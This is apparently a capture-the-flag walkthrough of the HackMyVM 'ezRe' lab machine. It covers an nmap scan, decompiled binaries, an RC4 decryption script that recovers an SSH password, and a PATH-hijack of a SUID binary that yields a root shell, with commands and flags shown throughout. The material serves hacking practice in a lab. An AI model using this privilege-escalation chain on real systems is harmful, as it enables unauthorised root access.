

```
# Nmap 7.94SVN scan initiated Mon Mar 23 11:37:08 2026 as: nmap -p- -ss -sv -O -
on 192.168.1.110_info.txt 192.168.1.110
Nmap scan report for 192.168.1.110
Host is up (0.00072s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.62 ((Debian))
MAC Address: 08:00:27:BA:04:82 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
# Nmap done at Mon Mar 23 11:37:17 2026 -- 1 IP address (1 host up) scanned in
9.02 seconds
```

http://192.168.1.110/dev/todo.txt --
dirsearch

Fix the login issue on the main page.

Ryan: Use your favorite girl's name as your temporary SSH password.

Remember to run the 'authenticator' tool to verify your access key.

反编译 `authenticator` 程序

```
// main.c
int __fastcall main(int argc, const char **argv, const char **envp)
{
    char v4[272]; // [rsp+0h] [rbp-1C0h] BYREF
    char s[128]; // [rsp+110h] [rbp-B0h] BYREF
    __int64 v6[2]; // [rsp+190h] [rbp-30h]
    __int16 v7; // [rsp+1A0h] [rbp-20h]
    char v8; // [rsp+1A2h] [rbp-1Eh]
    char v9; // [rsp+1A3h] [rbp-1Dh]
    int v10; // [rsp+1A4h] [rbp-1Ch]
    const char *v11; // [rsp+1A8h] [rbp-18h]
    int v12; // [rsp+1B4h] [rbp-Ch]
    int i; // [rsp+1B8h] [rbp-8h]
    int v14; // [rsp+1BCh] [rbp-4h]

    v6[0] = 0x8CD735C49220E11DLL;
    v6[1] = 0x96B28E78FA5E9155LL;
    v7 = 18336;
    v12 = 18;
    v11 = "welcome";
```

```

printf("Please enter the flag: ");
if ( (unsigned int)__isoc99_scanf("%127s", s) != 1 )
    return 0;
rc4_init(v4, v11);
v10 = strlen(s);
v14 = 1;
if ( v10 == v12 )
{
    for ( i = 0; i < v10; ++i )
    {
        v9 = rc4_step(v4);
        v8 = v9 ^ s[i];
        if ( v8 != *((_BYTE *)v6 + i) )
        {
            v14 = 0;
            break;
        }
    }
}
else
{
    v14 = 0;
}
if ( v14 )
    puts("Right");
else
    puts("Wrong");
system("pause");
return 0;
}

```

```

// rc4_init
__int64 __fastcall rc4_init(__int64 a1, const char *a2)
{
    __int64 v2; // kr00_8
    __int64 result; // rax
    char v4; // [rsp+1Fh] [rbp-11h]
    int v5; // [rsp+20h] [rbp-10h]
    int j; // [rsp+24h] [rbp-Ch]
    int v7; // [rsp+28h] [rbp-8h]
    int i; // [rsp+2Ch] [rbp-4h]

    v5 = strlen(a2);
    for ( i = 0; i <= 255; ++i )
        *(_BYTE *)(a1 + i) = i;
    v7 = 0;
    for ( j = 0; j <= 255; ++j )
    {
        v2 = *(unsigned __int8 *)(a1 + j) + v7 + (unsigned __int8)a2[j % v5];
        v7 = (unsigned __int8)(HIBYTE(v2) + *(_BYTE *)(a1 + j) + v7 + a2[j % v5]) -
            HIBYTE(HIDWORD(v2));
        v4 = *(_BYTE *)(a1 + j);
        *(_BYTE *)(a1 + j) = *(_BYTE *)(a1 + v7);
        *(_BYTE *)(a1 + v7) = v4;
    }
    *(_DWORD *)(a1 + 256) = 0;
    result = a1;
}

```

```

*(_DWORD *)(a1 + 260) = 0;
return result;
}

```

```

// rc4_step
__int64 __fastcall rc4_step(__int64 a1)
{
    unsigned int v1; // edx
    char v4; // [rsp+17h] [rbp-1h]

    *(_DWORD *)(a1 + 256) = (*(_DWORD *)(a1 + 256) + 1) % 256;
    v1 = (*(_DWORD *)(a1 + 260) + *(unsigned __int8 *)(a1 + *(int *)(a1 + 256)))
    >> 31;
    *(_DWORD *)(a1 + 260) = (unsigned __int8)(HIBYTE(v1) + *(_BYTE *)(a1 + 260) +
    *(_BYTE *)(a1 + *(int *)(a1 + 256)))
        - HIBYTE(v1);
    v4 = *(_BYTE *)(a1 + *(int *)(a1 + 256));
    *(_BYTE *)(a1 + *(int *)(a1 + 256)) = *(_BYTE *)(a1 + *(int *)(a1 + 260));
    *(_BYTE *)(a1 + *(int *)(a1 + 260)) = v4;
    return *(unsigned __int8 *)(a1
        + (unsigned __int8)(*(_BYTE *)(a1 + *(int *)(a1 +
    256)) + *(_BYTE *)(a1 + *(int *)(a1 + 260))));
}

```

RC4 加密, 写个 EXP

```

def rc4_keystream(key, length):
    s = list(range(256))
    j = 0
    key_len = len(key)
    for i in range(256):
        j = (j + s[i] + key[i % key_len]) % 256
        s[i], s[j] = s[j], s[i]
    i = j = 0
    keystream = []
    for _ in range(length):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        s[i], s[j] = s[j], s[i]
        k = s[(s[i] + s[j]) % 256]
        keystream.append(k)
    return keystream

cipher = [
    0x1D, 0xE1, 0x20, 0x92, 0xC4, 0x35, 0xD7, 0x8C,
    0x55, 0x91, 0x5E, 0xFA, 0x78, 0x8E, 0xB2, 0x96,
    0xA0, 0x47
]

key = b"welcome"

keystream = rc4_keystream(key, 18)

flag_bytes = bytes([c ^ k for c, k in zip(cipher, keystream)])
print("Flag:", flag_bytes.decode())

```

```

└─(kali㉿kali)-[~/Documents/hackmyvm.eu/ezRe]
└─$ ./authenticator
Please enter the flag: {Ryan:sunninggirl}
Right

└─(kali㉿kali)-[~/Documents/hackmyvm.eu/ezRe]
└─$ ssh Ryan@192.168.1.110
The authenticity of host '192.168.1.110 (192.168.1.110)' can't be established.
ED25519 key fingerprint is SHA256:02iH79i8PgOwV/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.110' (ED25519) to the list of known hosts.
Ryan@192.168.1.110's password:
Linux ezRe 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
$ ls
user.txt
$ whoami
Ryan
$ cat user.txt
{user-5d8e7f9a4b3c2d1e0f8a7b6c5d4e3f2a}

```

通过 SUID 文件探测发现 `super_checker`

```

// super_checker main.c
__int64 __fastcall main(int a1, char **a2, char **a3)
{
    __int64 v3; // rax
    __int64 v4; // rdx
    __int64 v6; // [rsp+7h] [rbp-31h] BYREF
    char v7; // [rsp+Fh] [rbp-29h]
    char s[40]; // [rsp+10h] [rbp-28h] BYREF

    v6 = 0x291A2A052E6A6A28LL;
    v7 = 41;
    puts("--- Admin Maintenance Console ---");
    printf("Enter Maintenance Password: ");
    __isoc99_scanf("%19s", s);
    if ( strlen(s) == 9 )
    {
        v3 = 0LL;
        while ( 1 )
        {
            v4 = (unsigned __int8)s[v3] ^ 0x5Au;
            if ( ((unsigned __int8)s[v3] ^ 0x5A) != *((_BYTE *)&v6 + v3) )
                break;
            if ( ++v3 == 9 )
            {
                sub_1240(s, s, v4, &v6);
                return 0LL;
            }
        }
    }
}

```

```

    }
}
}
puts("[+] Access Denied! Invalid credentials.");
return 0LL;
}

```

简单疑惑加密，逆向出 password = r00t_p@ss

```

// sub_1240
int sub_1240()
{
    puts("[+] Access Granted! Running system maintenance...");
    setuid(0);
    setgid(0);
    return system("service --status-all");
}
// r00t_p@ss

```

考虑使用环境变量劫持获得 root shell

```

Ryan@ezRe:~$ cat > /tmp/service << EOF
> #!/bin/bash
> /bin/bash -i
> EOF
Ryan@ezRe:~$ chmod +x /tmp/service
Ryan@ezRe:~$ export PATH=/tmp:$PATH
Ryan@ezRe:~$ /usr/bin/super_checker
--- Admin Maintenance Console ---
Enter Maintenance Password: r00t_p@ss
[+] Access Granted! Running system maintenance...
root@ezRe:~# id
uid=0(root) gid=0(root) groups=0(root),1000(Ryan)
root@ezRe:~# cat /root/root.txt
{root-f97e8b4d2c5a0e9f1t3h8c0a6e1d4b39}

```